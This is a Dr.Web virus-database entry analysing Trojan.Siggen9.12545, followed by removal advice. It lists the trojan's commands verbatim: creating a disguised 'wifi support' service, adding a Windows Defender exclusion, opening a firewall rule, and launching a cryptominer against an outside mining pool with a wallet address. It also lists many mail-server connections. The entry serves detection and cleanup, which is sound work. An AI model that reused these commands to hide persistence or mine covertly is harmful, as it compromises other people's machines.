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Trojan.Siggen9.12545

Added to the Dr.Web virus database: 2020-02-17

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\avosnajp] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\avosnajp] 'ImagePath' = '%WINDIR%\SysWOW64\avosnajp\ktnskjea.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\avosnajp] 'ImagePath' = '%WINDIR%\SysWOW64\avosnajp\ktnskjea.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\avosnajp' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\ktnskjea.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\ktnskjea.exe to %WINDIR%\syswow64\avosnajp\ktnskjea.exe
Deletes itself.
Network activity
Connects to
  • 'eu#.###.#rotection.outlook.com':25
TCP
HTTP GET requests
  • http://www.google.com/
  • '43.#31.4.7':443
  • 'us#######nbound-1.mimecast.com':25
  • 'mx.#oho.com':25
  • 'mx#.#etim.net':25
  • 'mx#####.ppe-hosted.com':25
  • 'd2#####.##s.barracudanetworks.com':25
  • 'ma##.##eathsense.com':25
  • 'alt2.gmail-smtp-in.l.google.com':25
  • 'eu#######nbound-1.mimecast.com':25
  • 'fr#####.#inamail.sina.com.cn':25
  • 'mx####.#egamailservers.eu':25
  • 'mx####.carrierzone.com':25
  • 'mx.##oeuro.com':25
  • 're###.4por4.pt':25
  • '10#.#6.196.170':443
  • 'go##le.de':443
  • 'alt2.aspmx.l.google.com':25
  • 'go##le.cz':443
  • 'ma##.##virotek.com.tr':25
  • '19#.0.56.76':443
  • 'go###e.com.au':443
  • 'gu##.yahoo.com':443
  • 'mx#.#anmail.net':25
  • 'se####.yahoo.com':443
  • 'ma##.nhoh.com':25
  • '85.##4.134.88':480
  • 'mi####.bittubeapp.com':13333
  • '18#.#65.238.150':416
  • '46.#.52.109':416
  • '17#.#.114.177':416
  • '93.##9.69.109':416
  • '46.#8.66.2':416
  • '78.#1.67.23':416
  • 'yo##ube.com':443
  • 'vi########er.fra02.hls.ttvnw.net':443
  • 'sm##.##rginmedia.com':465
  • 'us###.ttvnw.net':443
  • 'my##c.com':443
  • 'ho#########.olc.protection.outlook.com':25
  • 'mt##.##0.yahoodns.net':25
  • 'mx#.##rthlink.net':25
  • 'sm##.mail.ru':465
  • 'mx#.##g.aalto.fi':25
  • 'aspmx.l.google.com':25
  • 'ep#####1.playcore.com':25
  • 'ma##.edemsa.com':25
  • 'sm##.163.com':465
  • 'at####ail.atser.com':25
  • UDP
    • DNS ASK mi##########m.mail.protection.outlook.com
    • DNS ASK gr####llecounty.org
    • DNS ASK mx#.###nvillecounty.org
    • DNS ASK nc##.com
    • DNS ASK no###nrose.com
    • DNS ASK eu#######nbound-1.mimecast.com
    • DNS ASK br######gairconcepts.com
    • DNS ASK d2#####.##s.barracudanetworks.com
    • DNS ASK mx####.carrierzone.com
    • DNS ASK mx####.#egamailservers.eu
    • DNS ASK fa####berg-olsen.dk
    • DNS ASK mx.##oeuro.com
    • DNS ASK wg##t.com
    • DNS ASK mx#######703.gslb.pphosted.com
    • DNS ASK co##ast.net
    • DNS ASK fr#####.#inamail.sina.com.cn
    • DNS ASK ya###.com.ar
    • DNS ASK si##.com
    • DNS ASK ma####.scppool.com
    • DNS ASK sc##ool.com
    • DNS ASK go###ich.com
    • DNS ASK mx#######401.gslb.pphosted.com
    • DNS ASK bl####ankallick.com
    • DNS ASK mx#######301.gslb.pphosted.com
    • DNS ASK xl###ldwide.com
    • DNS ASK br#####wellbeing.com.au
    • DNS ASK mx#.#omcast.net
    • DNS ASK br###and.net
    • DNS ASK en###ysinc.com
    • DNS ASK ma##.##eathsense.com
    • DNS ASK wf##mc.edu
    • DNS ASK mx#######f01.gslb.pphosted.com
    • DNS ASK se####emasterwi.com
    • DNS ASK gm##l.com
    • DNS ASK alt2.gmail-smtp-in.l.google.com
    • DNS ASK co####t.yahoo.com
    • DNS ASK br#####xperience.com
    • DNS ASK in###text.co.jp
    • DNS ASK eu#.###.#rotection.outlook.com
    • DNS ASK mu###sdevida.pt
    • DNS ASK at##r.com
    • DNS ASK at####ail.atser.com
    • DNS ASK we###ardmtl.com
    • DNS ASK in###hive.net
    • DNS ASK sm##.163.com
    • DNS ASK ur##a.fi
    • DNS ASK sn##nl.com
    • DNS ASK sa###ika.com
    • DNS ASK yo###luyo.com
    • DNS ASK va######.mail.dreamhost.com
    • DNS ASK fu####networks.com
    • DNS ASK mx#.##dhosting.com
    • DNS ASK es#####raservice.com
    • DNS ASK li#e.de
    • DNS ASK ma##.##virotek.com.tr
    • DNS ASK wa###emicon.com
    • DNS ASK en####tek.com.tr
    • DNS ASK go###e.com.au
    • DNS ASK ha###tin.com
    • DNS ASK sw######stakes-networks.com
    • DNS ASK in####text.co.il
    • DNS ASK alt2.aspmx.l.google.com
    • DNS ASK au##ra.org
    • DNS ASK mx#######a02.gslb.pphosted.com
    • DNS ASK te####plus-fr.com
    • DNS ASK at###obal.net
    • DNS ASK mx.#oho.com
    • DNS ASK go##le.de
    • DNS ASK uk.#bm.com
    • DNS ASK mx######b2d01.pphosted.com
    • DNS ASK fd##.org
    • DNS ASK pa##el.fi
    • DNS ASK ma###.parnet.fi
    • DNS ASK va###ydic.com
    • DNS ASK re###.4por4.pt
    • DNS ASK go##le.cz
    • DNS ASK as##ndrg.it
    • DNS ASK se###rmatic.com
    • DNS ASK su##eu.fi
    • DNS ASK mx.####.locaweb.com.br
    • DNS ASK mc##i.com
    • DNS ASK sm######.mc.a.cloudfilter.net
    • DNS ASK hp##.rqh.ph
    • DNS ASK em##l.com
    • DNS ASK mx##.mail.com
    • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
    • DNS ASK ed##sa.com
    • DNS ASK na##r.com
    • DNS ASK sm##.mail.ru
    • DNS ASK mx#.#aver.com
    • DNS ASK gm#.de
    • DNS ASK mx##.#mig.gmx.net
    • DNS ASK gr####sforplay.com
    • DNS ASK mx#.##rthlink.net
    • DNS ASK br###e.com.br
    • DNS ASK ea###link.net
    • DNS ASK as#####rmnals.com.ph
    • DNS ASK my##c.com
    • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
    • DNS ASK ho##ail.com
    • DNS ASK 19#.###.#11.95.bl.spamcop.net
    • DNS ASK ho#########.olc.protection.outlook.com
    • DNS ASK 19#.###.#11.95.zen.spamhaus.org
    • DNS ASK ya##o.com
    • DNS ASK sm##.#uttofido.it
    • DNS ASK ma##.edemsa.com
    • DNS ASK mt##.##0.yahoodns.net
    • DNS ASK 19#.###.#11.95.cbl.abuseat.org
    • DNS ASK google.com
    • DNS ASK yo##ube.com
    • DNS ASK vi########er.fra02.hls.ttvnw.net
    • DNS ASK us###.ttvnw.net
    • DNS ASK sm##.##rginmedia.com
    • DNS ASK 19#.###.211.95.in-addr.arpa
    • DNS ASK mi####.bittubeapp.com
    • DNS ASK ma#######xcite.roc2.bluetie.com
    • DNS ASK hu##h.com
    • DNS ASK ne#.rr.com
    • DNS ASK br####angroup.com
    • DNS ASK mx#######d01.gslb.pphosted.com
    • DNS ASK ph###ix.oulu.fi
    • DNS ASK se####.yahoo.com
    • DNS ASK na####alcity.com
    • DNS ASK ha##ail.net
    • DNS ASK ep#####1.playcore.com
    • DNS ASK mx#.#anmail.net
    • DNS ASK ma##.surfeu.fi
    • DNS ASK cn#.com
    • DNS ASK MX#####.FIATGROUP.com
    • DNS ASK go##or.com
    • DNS ASK gu##.yahoo.com
    • DNS ASK cl######.us.messagelabs.com
    • DNS ASK ga###.pdmi.ras.ru
    • DNS ASK re###.pdmi.ras.ru
    • DNS ASK fe###.lnet.lut.fi
    • DNS ASK ka##y.com
    • DNS ASK ip##fo.io
    • DNS ASK ed###stream.com
    • DNS ASK aspmx.l.google.com
    • DNS ASK cc.#ut.fi
    • DNS ASK mx#.##g.aalto.fi
    • DNS ASK nh##.com
    • DNS ASK ma##.nhoh.com
    • DNS ASK cr###.com.ph
    • DNS ASK us#######nbound-1.mimecast.com
    • DNS ASK ex##te.com
    • DNS ASK mx#.#etim.net
    • DNS ASK br#####technology.com
    • DNS ASK mx#####.ppe-hosted.com
    • DNS ASK jo##.joensuu.fi
    • DNS ASK wo####enture.net
    • DNS ASK cc.##ensuu.fi
    • DNS ASK pk#####.#sg.pkvw.co.charter.net
    • DNS ASK ij#k.fi
    • DNS ASK ra##l.fi
    Miscellaneous
    Creates and executes the following
    • '%WINDIR%\syswow64\avosnajp\ktnskjea.exe' /d"<Full path to file>"
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\avosnajp\' (with hidden window)
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ktnskjea.exe" %WINDIR%\SysWOW64\avosnajp\' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' create avosnajp binPath= "%WINDIR%\SysWOW64\avosnajp\ktnskjea.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' description avosnajp "wifi internet conection"' (with hidden window)
    • '%WINDIR%\syswow64\sc.exe' start avosnajp' (with hidden window)
    • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
    Executes the following
    • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\avosnajp\
    • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ktnskjea.exe" %WINDIR%\SysWOW64\avosnajp\
    • '%WINDIR%\syswow64\sc.exe' create avosnajp binPath= "%WINDIR%\SysWOW64\avosnajp\ktnskjea.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
    • '%WINDIR%\syswow64\sc.exe' description avosnajp "wifi internet conection"
    • '%WINDIR%\syswow64\sc.exe' start avosnajp
    • '%WINDIR%\syswow64\svchost.exe'
    • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs3SR4afw4CJsq2dWvisbAWdDfFLcj88bav7nt1bjojpjUVedMEXXXcPiB27hV3RJMVmSBdfq4vs6PHDcG5uTSoj2oiWF2UKB.70000 -p x -k

    Curing recommendations

    1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
    2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

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